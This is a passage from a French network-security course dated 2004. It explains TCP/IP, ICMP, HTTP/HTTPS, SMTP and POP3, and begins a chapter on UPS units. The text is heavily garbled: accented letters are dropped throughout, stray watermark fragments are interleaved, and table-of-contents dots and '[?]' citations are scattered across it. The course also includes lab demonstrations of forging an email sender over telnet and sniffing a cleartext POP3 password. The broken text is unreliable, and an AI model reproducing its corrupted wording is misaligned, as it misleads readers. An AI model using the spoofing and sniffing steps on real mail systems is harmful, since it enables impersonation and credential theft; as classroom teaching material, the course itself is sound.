. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

39 Langages de Programmation Web 39.1 Introduction . . . . . . . . . . . . . . . . . . . 39.2 Les CGI . . . . . . . . . . . . . . . . . . . . . 39.3 Les VBScripts . . . . . . . . . . . . . . . . . . 39.4 Le JavaScript . . . . . . . . . . . . . . . . . . 39.4.1 Utilisation de la navet des internautes 39.4.2 Utilisation des failles des navigateurs . 39.5 Applet Java . . . . . . . . . . . . . . . . . . . 39.5.1 Exemple . . . . . . . . . . . . . . . . 39.6 Les ActiveX . . . . . . . . . . . . . . . . . . . 39.7 Certication de code . . . . . . . . . . . . . . 39.8 Se protger . . . . . . . . . . . . . . . . . . . 39.9 Travaux Pratiques . . . . . . . . . . . . . . . . 40 Cookies 40.1 Introduction . . . 40.2 Dnition . . . . 40.3 Cookie Brlant . 40.4 Se protger . . . 40.5 Travaux Pratiques

oc um en ts

38 Spyware 38.1 Introduction . . . . . . . . . . . . . . . . . . 38.2 Dnition . . . . . . . . . . . . . . . . . . . 38.3 Fonctionnement . . . . . . . . . . . . . . . . 38.4 Reconnatre un spyware . . . . . . . . . . . . 38.5 Comment dtecter la prsence dun spyware ? 38.6 Comment faire pour liminer un spyware ? . . 38.7 Conclusion : Spyware or not spyware ? . . . . 38.8 Travaux Pratiques . . . . . . . . . . . . . . .

en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

ou sl

ic
. . . . . . . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

TABLE DES MATIRES


41 Ingnierie sociale 41.1 Dnition . . . . . . . . 41.2 Exemples . . . . . . . . 41.3 Banque et condentialit 41.4 Conclusion . . . . . . .

9 164 164 164 167 167

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

42 Directives pour une informatique scurise[9] 168 42.1 Recommandations aux administrateurs rseau . . . . . . . . . . . . . . . . . . . . . . . . . 168 42.2 Recommandations aux utilisateurs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169 43 Conclusion 171

44 Conclusion

FD en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

VIII Conclusion

L ou sl ic

172
173

IX Annexes

174
175 175 176 176 177 178 178 179 179 179 179 179 181 182 183 184 185

Listings

Liste des tableaux Table des gures Bibliographie Index

oc um en ts

A GNU Free Documentation License 1. APPLICABILITY AND DEFINITIONS . . . . . . . . . 2. VERBATIM COPYING . . . . . . . . . . . . . . . . . . 3. COPYING IN QUANTITY . . . . . . . . . . . . . . . . 4. MODIFICATIONS . . . . . . . . . . . . . . . . . . . . . 5. COMBINING DOCUMENTS . . . . . . . . . . . . . . . 6. COLLECTIONS OF DOCUMENTS . . . . . . . . . . . 7. AGGREGATION WITH INDEPENDENT WORKS . . . 8. TRANSLATION . . . . . . . . . . . . . . . . . . . . . . 9. TERMINATION . . . . . . . . . . . . . . . . . . . . . . 10. FUTURE REVISIONS OF THIS LICENSE . . . . . . . ADDENDUM : How to use this License for your documents

Remerciements

Merci tous les stagiaires qui ont supports mon vagabondage pdagogique ainsi que tous mes collgues qui ont supports mes ronchons quotidiens.

Laurent Corbin : pour sa relecture et ses ides de nouveaux chapitres

Philippe Cloarec : pour ses connaissances techniques, lectroniques et ondes radio.

Erwann Simon : vnrable matre de Linux qui maide dans les coups durs et mes oublis. fr.comp.text.tex : merci tous ceux qui mont aid naviguer au sein de cet outil puissant et able. Toutes mes excuses ceux que jaurais pu oublier ...

oc um en ts

ou sl
10

Bruno Panaget : studieux et intress, merci pour son soutien dans la ralisation de ces cours.

ic

Johnny Diaz : imperturbable interrogateur qui a permis de faire avancer normment le ct pdagogique de mes cours. Merci notamment pour ses prises de notes maintes fois reprises.

en ce

Un remerciement tout particulier (dans lordre alphabtique) :

FD

Une pense toute particulire ma femme et mes 2 lles pour leur soutien de tous les instants.

Chapitre 1

oc um en ts

ou sl
11

ic

en ce

Version 1.0.1

Date 24 Juin 2004

Mise jour 1re version nalise

FD

Historique

Chapitre 2

Le cours ncessite de disposer des fonctionnalits suivantes : Accs Internet Machine Linux disposant : des services suivants : POP : QPopper SMTP : Exim Apache : httpd Apache scuris : libapache-modssl SSH : sshd Telnet : telnetd des outils suivants : Compilation C nmap hping (logiciel) des utilisateurs suivants : stage1 stage2 stage3 stage4 stage5 stage6

Machine Windows avec la possibilit dinstaller le logiciel suivant : Ethereal Putty

oc um en ts

ou sl
12

ic

en ce

FD

Prrequis du cours

oc um en ts

ou sl
13

ic

Introduction

en ce

Premire partie

FD

Chapitre 3

Tous les documents et marques cits et publis dans ce recueil sont la proprit de leurs auteurs respectifs. 14

oc um en ts

Apportant avec elle, le support lectronique, la messagerie instantane, la communication haut dbit, les pages web, les bases de donnes ouvertes, linformatique a ouvert la porte un nouveau type de criminalit la cybercriminalit. Longtemps ignor par les responsables informatiques le hacking reprsente maintenant un enjeu conomique important et nombreuses sont les attaques visant dtruire ou usurper des informations. En premier lieu, nous rappellerons les principes du TCP/IP et des protocoles du web HTTP/HTTPS. Puis nous expliquerons le fonctionnement dun programme an de contrler au maximum ce que fait une session Internet. Ensuite, nous passerons lattaque. Tout dabord en tant quclaireur nous verrons diffrentes mthodes permettant la dcouverte de VOS machines. Une fois dcouvertes nous verrons les diffrents types dattaques quelles peuvent subir. Face nous, les adversaires possdent de puissantes dfenses que nous analyserons : Firewall, IDS, Honey Pots, ... Mais ne nous leurrons pas, toute dfense possde ces failles surtout si le mal vient de lintrieur... ou mme de soit. Enn, an dtendre notre connaissance et se donner un champs de vision important, nous installerons et scuriserons minima 2 systmes, Windows 2000 & Linux Debian Woody.

F IG . 3.1 Statistiques des attaques Web

ou sl

ic

en ce

FD

Introduction

oc um en ts

ou sl
15

ic

Rappel sur les rseaux

en ce

Deuxime partie

FD

Chapitre 4

oc um en ts

ou sl
16

ic

en ce

Nous allons commencer par un rappel des notions de base du protocole TCP/IP indispensable la comprhension du fonctionnement des signatures et des ltres. Puis nous aborderons le fonctionnement des pages Web avec les 2 protocoles utiliss par les serveurs : HTTP et HTTPS. Enn, nous verrons la dernire composante de notre quotidien Internet : le mail avec les protocoles POP3 et SMTP.

FD

Introduction

Chapitre 5

Un paquet TCP/IP est compos de deux parties : la partie en-tte et la partie data.

5.1 Len-tte TCP/IP

5.1.1 Len-tte IP
Numro de version (4 bits)

oc um en ts

Longueur en-tte IP (4 bits)

ou sl
TOS (8 bits) 17

Len-tte TCP/IP contient toutes les informations que le paquet utilise sur le rseau pour circuler. Il est compos de deux parties : une partie contenant les informations utilises pour effectuer le routage et ladressage appel len-tte IP, et une deuxime partie contenant les informations concernant le protocole de transport du paquet (TCP, UDP, ICMP) appel en-tte TCP. Cette 2nde partie varie en fonction des applications qui utilisent les services du protocole TCP/IP.

ic

Identication identie les fragments dun mme paquet TTL Protocole (8 bits) 00000001=ICMP 00000110=TCP 00010001=UDP Adresse IP destination (32 bits) Adresse IP source (32 bits) TAB . 5.1 En-tte IP

TOS : Type Of Service (qualit de service), non utilis. TTL : Time To Live, dure de vie, dcrment de 1 chaque passage de routeur. Flags (R, DF, MF) : DF : indique que le paquet ne doit pas tre fragment MF : indique que le paquet fait partie dun ensemble de paquets fragments Combinaisons de valeurs possibles pour les ags R, DF & MF :

en ce

Longueur totale du paquet = longueur-en-tte (IP + protocole encapsul) + donnes (16 bits) R DF MF Offset du fragment (1 bit) (1 bit) (1 bit) (13 bits) Somme de contrle (16 bits)

FD

TCP IP [5]

CHAPITRE 5. TCP IP [?]


001 : il y a encore des fragments 000 : dernier fragment (ou pas fragment) 01X : ne pas fragmenter

18

5.1.2 Le protocole TCP


Numro de port source Numro de port Destination (16 bits) (16 bits) Numro de squence (32 bits) Numro dacquittement (32 bits) Bits U A P R S F Taille de la fentre rservs R C S S Y I (16 bits) (6 bits) G K H T N N Somme de contrle (16 bits) Options

TAB . 5.2 En-tte TCP

5.1.3 Proprits du protocole TCP

Toute session TCP normale se dcompose en trois tapes savoir : tablissement de connexion change de donnes n de la connexion Chacune de ces tapes se caractrise par un numro de squence et une combinaison de drapeaux.

5.2 Numros de squence [15]


Une des fonctionnalits majeures du protocole TCP consiste la numrotation de chaque paquet en un numro de squence. Ces paquets sont ensuite acquitts individuellement par lhte. La machine source envoie par exemple les paquets numrots par 100, 101, 102 et 103 une autre machine. Cette dernire rpond par un acquittement (ACK) contenant le numro de squence du paquet reu. Ainsi lmetteur du paquet relve les aquittements reus et renvoie les paquets qui nont pas t aquitts : Remarque : les paquets reus par le destinataire ne sont pas obligatoirement immdiatement acquitts, de plus il se peut quils narrivent pas destination dans lordre dans lequel ils ont t envoys.

oc um en ts

URG : Urgent (Ctrl-C par exemple sur telnet) ACK : tenir compte de lAcknowledgement PSH : dlivrer immdiatement les donnes (aprs une n de ligne sous telnet par exemple) RST : reset, reprise dune connexion au dpart (aprs plusieurs SYN incomprhensible ou un crash) SYN : Synchronisation des numros de squence FIN : termine la connexion Remarque : lISN dnit le Numro de Squence Initial ( ltablissement de la connexion).

ou sl

ic

en ce

Longueur entte TCP (4 bits)

Pointeur Urgent (16 bits)

FD

CHAPITRE 5. TCP IP [?]

19

TAB . 5.3 Principe des numros de squence

oc um en ts

F IG . 5.1 Principe de lacquittement des trames

ou sl

ic

en ce

FD

Emetteur Paquet 100 100 a bien t reu par le destinataire Paquet 101 a bien t reu 101 a bien t reu par le destinataire Paquet 102 Paquet 103 103 a bien t reu par le destinataire 102 na pas reu dacquiescement, on le renvoie 102 a bien t reu par le destinataire

Rseau

Destinataire Paquet 100 reu acquittement de 100 Paquet 101 reu acquittement de 101 ????????? Paquet 103 reu acquittement de 103 Paquet 102 reu acquittement de 102

CHAPITRE 5. TCP IP [?]

20

5.3 Connexion de base entre deux htes TCP


Le TCP utilise une connexion en trois-temps1. Ceci permet dviter les connexions infructueuses. Le schma suivant reprsente lvolution dune connexion entre une machine A et une machine B. Pour chacune des machines ltat du port est celui de laction qui vient de se produire (Emission ou Rception de paquet). SEQ reprsente le numro de squence du paquet, ACK acquitte le paquet reu en indiquant le numro de squence du prochain paquet attendu et CTL reprsente ltat du bit de contrle, cest--dire SYN, ACK ou SYN-ACK. Machine A 1.CLOSED 2.SYN-SENT 3.ESTABLISHED 4.ESTABLISHED 5.ESTABLISHED Rseau <SEQ=100><CTL=SYN> <SEQ=300><ACK=101><CTL=SYN,ACK> <SEQ=101><ACK=301><CTL=ACK> <SEQ=101><ACK=301><CTL=ACK><DATA> TAB . 5.4 Connexion de base Machine B LISTEN SYN-RECEIVED SYN-RECEIVED ESTABLISHED ESTABLISHED

5.3.1 Les Drapeaux

SYN marque une demande de connexion. Pendant cette phase de connexion aucune donne nest transmise. Tout paquet contenant des donnes pendant la phase de demande de connexion est suspect (signature). ACK acquitte la rception dun paquet. FIN marque la n dune session. ReSeT suspend une connexion. PuSH pour pousser le paquet dans le tampon dentre de lapplication. Il est utilis pour des applications interactives (Telnet). Un drapeau P avec un port de destination qui nest pas celui dune application interactive doit tre analys avec attention. URGent marque un paquet prioritaire Marqueur marque un paquet contenant des donnes.

5.4 Les diffrents tats dun port TCP lors dune connexion [15]
Un port TCP passe par diffrents tats lors dune connexion. Il est possible de voir ltat de chaque port en utilisant la commande Unix netstat (disponible galement sous Windows). Voici la liste de ces diffrents tats : LISTEN Attente dune demande de connexion.
1 Three

way handshake

oc um en ts

Les drapeaux sont les identicateurs utiliss par TCP/IP pour indiquer ltape dune connexion. Les diffrents types de drapeaux de TCP sont :

ou sl

Sur la premire ligne, la machine B est en attente de connexion. Lhte A initie une connexion vers B, elle envoie donc un paquet contenant le bit de contrle SYN, ltat du port devient donc SYN-SENT. B reoit ce paquet, il passe ltat SYN-RECEIVED et envoie un paquet contenant SYN-ACK et attendant un paquet ayant comme numro de squence 101. A reoit ce paquet, passe ltat ESTABLISHED et envoie un paquet numrot 101, comme demand par B, ayant le bit de contrle positionn ACK. Puis B reoit ce paquet et passe ltat ESTABLISHED. La transmission peut enn avoir lieu.

ic

en ce

FD

CHAPITRE 5. TCP IP [?]

21

5.5 Scurit : Association de drapeaux

5.5.1 Paquet fragment

Tous les fragments dun paquet fragment ont le mme numro didentication ( voir schma en-tte IP) que le paquet original. Il existe trois types de fragments : Premier fragment : indique le protocole de transport,son OFFSET est nul, son drapeau MF est dni. Deuxime fragment : nindique pas de protocole, son OFFSET est diffrent de zro, son drapeau MF est dni. Dernier fragment : nindique pas de protocole, son OFFSET est diffrent de zro,mais son MF nest pas dni. REMARQUE

Lune des grandes difcults des dispositifs de ltrage de nos jours est la fragmentation. La fragmentation est le moyen dont dispose le routeur pour couper en fragments un paquet dont le MTU ne correspond pas son prochain mdium. Mais la fragmentation peut-tre mise en uvre pour contourner un dispositif de ltrage. Donc il faut savoir distinguer un paquet fragment normal,dun paquet fragment anormal.

oc um en ts

tant donn que chaque session du protocole TCP/IP se dcompose en trois tapes, chaque tape correspond une association de drapeaux. Les associations de drapeaux pour une demande de connexion sont : SYN, SYN / ACK, ACK. Les associations de drapeaux pour un change de donnes sont : P / ACK, / ACK. Les associations de drapeaux pour une n de session sont : F / ACK, R / ACK Certaines associations de drapeaux sont luvre de paquets fabriqus des ns de nuisance du rseau Association de drapeaux anormale Comme association de drapeaux anormale on a : SYN / FIN (ce paquet demande une ouverture de session et en mme temps une n de session ce qui est anormal). Cest une signature qui chappe des dispositifs de ltrages et qui vite que le paquet soit journalis. Un ACK PING consiste utiliser le ACK au lieu de ping pour contourner des dispositifs qui ltrent ce genre de balayage. En envoyant un ACK toutes les machines dun rseau celles qui sont actives rpondront par un RESET. Un ACK qui nest pas prcd SYN est suspect (signature dune attaque).

ou sl

ic

en ce

FD

SYN-SENT Attente de la rponse du destinataire aprs une demande de connexion. SYN-RECEIVED Attente de la conrmation de lacquiescement dune demande de connexion aprs avoir reu la demande de connexion et renvoy un premier acquiescement. ESTABLISHED Reprsente une connexion ouverte, prte transmettre et recevoir des donnes. FIN-WAIT-1 Attente dune demande de n de connexion du TCP distant. Ou un acquiescement de la demande de n de connexion pralablement envoy. FIN-WAIT-2 Attente dune demande de n de connexion du TCP distant. TIME-WAIT Attente dune dure sufsante pour tre sr que lhte TCP a reu lacquiescement de sa demande de n de connexion. CLOSE-WAIT Attente dune demande de n de connexion venant dun utilisateur local. CLOSING Attente de lacquiescement dune demande de n de connexion dun hte TCP. CLOSED Reprsente un tat o il ny a pas de connexion.

CHAPITRE 5. TCP IP [?]

22

1. Tous les paquets fragments dun paquet original contiennent le mme numro didentication contenu dans len-tte IP du paquet original. 2. Un fragment est caractris par son OFFSET (la quantit de donnes du paquet original transmise avant celui-ci) indique sa position dans le paquet original. tant donn quaucune donne nest transmise avant le premier paquet fragment dun paquet original, son OFFSET est nul. 3. Un fragment est dni par son drapeau MF qui indique si ce fragment sera suivi par un autre fragment ou non. Ainsi pour le dernier fragment dun paquet original le drapeau MF nest pas dni. Sil est dni, MF = 1. Sil nest pas deni MF = 0.

5.6 Protocole UDP

TAB . 5.5 En-tte UDP

5.7 Protocole ICMP

oc um en ts

ICMP est un protcole permettant de transmettre des informations de contrle et de gestion du rseau. IP nest pas dans sa dnition stable, le but de ces messages de contrle est donc de pouvoir signaler lapparition dune erreur. Par contre, ICMP ne garantit pas que le datagramme soit achemin ni quun message de contrle soit retourn. Il sert notamment envoyer un ping ( echo request + echo reply ) mais peut aussi servir des uvres de malveillance ( mappage, attaque SMURF (section 23.3.3 page : 89)). Type Code (8 bits) (8 bits) Identication (16 bits) Somme de controle (16 bits) Numro de squence (16 bits)

TAB . 5.6 En-tte ICMP

5.8 Travaux Pratiques


Installer le logiciel Ethereal sur vos machines. Retrouver les diffrents types de trames indiqus prcdemment.

ou sl

ic

en ce

Numro de port source (16 bits) Longueur en-tte UDP (16 bits)

Numro de port destination (16 bits) Somme de contrle (16 bits)

FD

UDP est le protocole utilis par les applications dont le transport nexige pas une certaine abilit. Contrairement TCP il fonctionne en mode non connect ce qui le rend plus vulnrable que le TCP,car il na pas de numro de squence.

CHAPITRE 5. TCP IP [?]

23

tranglement de la source

12

13

14 17 18 30

Rponse dhorodatage Requte de masque dadresse

Rponse de masque dadresse Traceroute TAB . 5.7 Quelques messages ICMP

oc um en ts

Problme de paramtre

Requte dhorodatage

ou sl

Ces messages sont utiliss pour effectuer des tests au sein dun rseau ou dun sous-rseau.

ic

5 8 11

Redirection ncessaire Demande dcho TTL Expir

en ce

FD

Valeur 0 3

Nom Rponse dcho Destination inaccessible

Description Rien de plus que la rponse un PING Il permet dtre inform que lhte avec lequel on dsire communiquer nest pas accessible. Cette rponse peut souvent viter une application de rester en attente dune rponse qui ne viendra pas. Principalement utiliss par les routeurs, ce signal permet dexpliquer un hte qui parle un peu trop quil faut quil se taise, parce quil inonde la le dattente. Information utile pour la mise jour des tables de routage. Question pose un hte par la commande PING. Un paquet est toujours mis avec une dure de vie. Cette dure de vie est dcrmente chaque nud qui traite le paquet (dune dure minimum dune seconde, ou du temps qua mis la paquet traverser le nud). Si le paquet arrive en n de vie, il est jet et un message ICPM de type 11 est envoy lmetteur. Cette proprit est utilise dans la commande "tracert" ("traceroute" sur Linux) pour calculer les temps daccs sur les diverses passerelles du chemin parcouru. Ce message indique quil y a une erreur dans le champ den-tte du paquet. Ce problme ne peut normalement arriver que dans le cas dun bug du logiciel. Assez similaire la requte dcho, avec en plus le marquage de lheure. Ce type dcho permet de connatre lheure darrive de la requte et lheure de dpart de la rponse sur lhte cible.

Chapitre 6

6.1 Le Protocole HTTP


HTTP : HyperText Tranfert Protocol (RFC 1945 et 2068) * protocole de rapatriement des documents protocole de soumission de formulaires

HTTP est un protocole en mode de lignes de caractres (ASCII). Comme nous le verrons, un simple telnet sur le port 80 permet de dialoguer avec un serveur Web.

6.3 Requte au serveur

URI : Uniform Ressource Identier adresse des ressources sur INTERNET

GET : demande des informations et une zone de donnes concernant lURI. HEAD : demande pour obtenir des informations concernant lURI uniquement. POST :envoi de donnes (contenu du formulaire vers le serveur, ...). Ces donnes sont situes aprs lentte et un saut de ligne. PUT : enregistrement du corps de la requte lURI indiqu DELETE : suppression des donnes dsignes par lURI OPTIONS : demande des options de communication disponibles TRACE : retourne le corps de la requte intacte (dboguage)

6.4 Rponse du serveur

oc um en ts

* connexion demande (GET) dun document renvoi du document (status=200) ou dune erreur dconnexion

ou sl
24

6.2 Principe de fonctionnement

ic

en ce

FD

HTTP [10]

CHAPITRE 6. HTTP [?]

25

TAB . 6.1 Requte au serveur

HTTP/<Version><Status><Commentaire Status> Content-Type : <Type MIME du contenu> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> une ligne blanche Document Document

oc um en ts

TAB . 6.2 Rponse du serveur

ou sl
HTTP/1.1 200 OK Date : Tue, 26 Nov 2002 10 :13 :43 GMT Server : Apache/1.3.26 (Unix) Debian GNU/Linux Last-Modied : Fri, 22 Nov 2002 10 :48 :54 GMT ETag : "57c5d-f5-3dde0b96" Accept-Ranges : bytes Content-Length : 245 Connection : close <html> </html>

ic

en ce

<Mthode><URI>HTTP/<Version> [<Champs dentte> :<Valeur>] [<tab>Suite Valeur si > 1024>] ligne blanche [corps de la requte pour la mthode POST] GET /document.html HTTP/1.0 POST /script HTTP/1.0 Accept : www/source Accept : www/source Accept : text/html Accept : text/html Accept : image/gif Accept : image/gif User-Agent : Lynx/2.2 libwww/2.14 User-Agent : Lynx/2.2 libwww/2.14 From : groucho@marx.net From : groucho@marx.net une ligne blanche * Content-Length : 24 * une ligne blanche * name1=value1& name2=value2

FD

CHAPITRE 6. HTTP [?]

26

6.4.1 Statut (status in english) de la requte


100-199 Informationnel 100 : Continue (le client peut envoyer la suite de la requte), ... 200-299 Succs de la requte client 200 : OK 201 : Created 204 : No Content, ... 300-399 Redirection de la Requte client 301 : Redirection 302 : Found 304 : Not Modied 305 : Use Proxy, ...

400-499 Requte client incomplte 400 : Bad Request 401 : Unauthorized 403 : Forbidden 404 : Not Found

500-599 Erreur Serveur

6.5 HTTPS

S comme secure ... Le but de https est de scuriser les accs un service web an den prserver la condentialit.

Les accs des pages web se font laide du protocole http, en empruntant le rseau Internet. Aucune garantie de condentialit nest assure lors de ces accs ; il est relativement simple un pirate dintercepter vos requtes et les rponses faites par le serveur. En outre, vous navez pas une certitude absolue de consulter le site que vous croyez. Internet est maintenant utilis pour des applications de commerce lectronique, ou parfois pour accder des donnes condentielles soumises authentication (change de login - mot de passe). Il faut savoir que, dans ce cas, il nest pas trs difcile un pirate dintercepter ces informations condentielles, y compris votre mot de passe, et ainsi dusurper votre identit, voire rcuprer votre code de carte bleue. An de palier ces inconvnients, le protocole https peut tre mis en oeuvre. Dune manire trs schmatique, il permet dencapsuler et de crypter le trac http ; ainsi, il sera quasiment impossible un pirate qui intercepterait des accs des pages charges via le protocole https de dcrypter cet change, et donc de rcuprer des informations condentielles. En outre, https permet de sassurer que le serveur W3 auquel on accde est bien celui que lon croit.

6.5.1 Principe

oc um en ts

500 : Server Error 501 : Not Implemented 502 : Bad Gateway 503 : Out Of Resources (Service Unavailable)

ou sl

ic

en ce

FD

CHAPITRE 6. HTTP [?]

27

Les changes https sont crypts et dcrypts laide dun couple de cls informatiques qui sont propres un serveur W3 : La cl prive qui nest connue que de ce serveur La cl publique qui est connue du monde entier Le navigateur qui accde un serveur laide du protocole W3 doit rcuprer la cl publique de ce serveur ; celle-ci lui est transmise depuis le serveur W3, encapsule dans un certicat X509 (chier informatique). Ce certicat contient donc la cl publique du serveur, valide ("signe") par un organisme reconnu, appel autorit de certication (CA).

Le port utilis pour ce type de connexion est le 443.

6.6 Travaux Pratiques


6.6.1 Protocole HTTP

Connecter vous en telnet sur le port 80 (sous Putty, utiliser le mode raw de la machine indique par linstructeur. telnet lampion 80 GET /index.html HTTP/1.0 <Retour Chariot>

6.6.2 HTTPS

Connectez vous la version non scurise de la page Web http ://.../secure.html Connectez vous la version scurise de la page Web https ://.../secure.html Utilisez votre sniffer, comparez ...

1 Public Key Infrastructure. Ensemble de techniques, organisations, procdures et pratiques qui dnissent limplmentation et lexploitation de certicat numriques bass sur la cryptographie cls publiques (Yannick Quenechdu - www.idealx.com)

oc um en ts

ou sl

ic

en ce

Phase 1 Authentication du serveur et/ou du client par PKI1 . Phase 2 Chiffrage avec une cl (secrte) symtrique de session Phase 2bis Reprise aprs dconnexion

FD

6.5.2 Fonctionnement

CHAPITRE 6. HTTP [?]

28

<html> <head> </head> <body>

</body> </html> Connection closed by foreign host.

oc um en ts

<title>Scurit des rseaux</title>

<h1>Scurit des rseaux</h1> <a href="mozilla.html">Mozilla</a><BR> <a href="ie5.html">Internet Explorer</a><BR> <a href="cgi.html">CGI</a><BR>

TAB . 6.3 Exemple de session HTTP avec telnet

ou sl

HTTP/1.1 200 OK Date: Tue, 26 Nov 2002 10:13:43 GMT Server: Apache/1.3.26 (Unix) Debian GNU/Linux Last-Modified: Fri, 22 Nov 2002 10:48:54 GMT ETag: "57c5d-f5-3dde0b96" Accept-Ranges: bytes Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1

ic

en ce

FD

Trying 127.0.0.1... Connected to lampion. Escape character is ^]. GET /index.html HTTP/1.0

Chapitre 7

7.1 SMTP : Envoi de mails

Voil le courrier a t envoy de eric vers fred sur la machine locale (localhost). Bien sr ceci peut se faire dune machine sur une autre et sur les machines du Net. Regardons le courrier de Fred maintenant. login: eric passwd: **** Vous avez reu un message ... aucun moment un mot de passe na t demand, il est donc possible denvoyer des messages venant de nimporte qui vers nimporte qui, ce que lon appelle une usurpation dadresse mail. Ceci est vrai sur les serveurs SMTP non scuriss, sur les autres serveurs, ladresse de lexpditeur est contrl, vous ne pouvez donc pas indiqu nimporte quel expditeur. Cette faille est lune des explications de lorigine du spam.

oc um en ts

telnet localhost 25 220 lampion ESMTP Postfix (Debian/GNU) mail from: zorro@localhost 250 Ok rcpt to: eric@localhost 250 Ok data Bonjour Eric, je signe dun Z qui veut dire Zorro Z . quit

ou sl
29

Nous allons implmenter le protocole SMTP de manire littrale en utilisant une connexion telnet sur le serveur SMTP (port 25).

ic

en ce

Nous allons voir que lenvoi et la rception de mail nest pas scurise du fait mme du protocole utilis. Pour cel, nous allons utiliser une machine Linux qui par dfaut peut envoyer / recevoir des messages entre utilisateurs.

FD

Mail

CHAPITRE 7. MAIL

30

7.2 POP3 : Lecture des mails


Le rapatriement des mails se fait par lintermdiaire du protocole POP3, nous allons voir que ce protocole laisse passer les mots de passe en clair ... Envoyer un mail avec un client mail : mail fred ... Se connecter laide de telnet sur le serveur POP3 (port 110). telnet localhost 110 Connected to lampion Escape character is ^] +OK QPopper USER fred +OK Password required for user fred PASS ... +OK fred has 1 visible message (0 hidden) in 365 octets LIST 1 365 . RETR 1 .../.. mon message DELE 1 +OK Message 1 has been deleted. QUIT +OK Pop server at lampion signing off.

7.3 Travaux pratiques

Sous Putty, il est ncessaire dutiliser le mode raw. En utilisant les comptes stage1 stage6, aidez vous des sessions dcrites prcdemment pour envoyer un message et le lire. Nous allons maintenant montrer que le protocole utilis est le mme pour un client mail Windows, congurez Outlook Express pour quil charge (POP3) les messages sur lun des comptes stageX. Une fois le protocole de test mis au point, refaire la mme manipulation en sniffant les trames sortantes du logiciel Outlook Express. Reprez le mot de passe.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 8

oc um en ts

ou sl
31

ic

en ce

Les connaissances de bases sur les rseaux acquises, il nous est possible maintenant de voir comment stopper les sniffer. Par la suite nous dcouvrirons que cest lanalyse pousse des protocoles rseaux qui permet dattaquer et de protger un serveur.

FD

Conclusion

oc um en ts

ou sl
32

ic

Scurit des donnes

en ce

Troisime partie

FD

Chapitre 9

9.1 En bref

9.2 Dans le dtail

Le rle premier dun onduleur est de protger votre ordinateur des variations et interruptions de tension. En effet, suivant votre lieu de rsidence, les coupures (ou micro-coupures) dlectricit, les baisses de tension ou les surtensions sont plus ou moins frquentes. Ces dfauts de tension entranent larrt ou le redmarrage soudain de votre machine et de ses priphriques. Ceci a pour consquence de vous faire perdre les travaux en cours non sauvegards et peut parfois terme endommager votre matriel informatique. Que vous habitiez une rgion un peu recule o la tension secteur fournie nest pas toujours exempte de dfaut et/ou que vous vouliez protger votre matriel informatique ainsi que vos donnes cest dire tre sur de ne pas tre interrompu pendant votre travail, linvestissement reste plutt raisonnable, mme pour un particulier, surtout si on le relativise lachat dun ordinateur complet. La plupart des onduleurs actuels incluent des systmes de protection contre la foudre et les surtensions lies : il faut savoir que mme si ces systmes ne sont pas totalement inefcaces, ils ne protgent pas rigoureusement et 100% votre matriel de ce phnomne, contrairement ce que lappellation semble indiquer. En effet, la foudre reste un phnomne difcilement quantiable et mal matris. Dautre part, noubliez pas que si vous tes sur Internet, la foudre peut frapper les lignes tlphoniques et la surtension lie dtruira au moins votre modem si pas en plus dautres composants dans votre PC : tout ceci pour dire quautant viter de se servir de son PC par temps trs orageux, onduleur ou pas.

oc um en ts

ou sl
33

La puissance de londuleur : exprime en VA (ou KVA) elle conditionnera la capacit de londuleur alimenter votre quipement en cas de coupure secteur. Gnralement on conseille dappliquer un facteur 1,4 1,5 : pour un PC consommant au total 300W rels prvoir un onduleur de 420W ou plus est idal. Le type : pour un particulier un classique modle "off-line" sera gnralement appropri. Si vous avez trs frquemment et longuement des perturbations lectriques du type baisses de tension un modle "line-interactive" sera un plus. Enn, si vous souhaitez avoir une scurit lectrique maximale vous opterez pour un modle "on-line". La marque : parmi les plus connues citons APC, MGE (Merlin Gerin - UPS), Best Power et Liebert.

ic

en ce

FD

Onduleur[6]

CHAPITRE 9. ONDULEUR[?]

34

9.3 Technologies "Off-line", "Line-interactive" et "On-line"


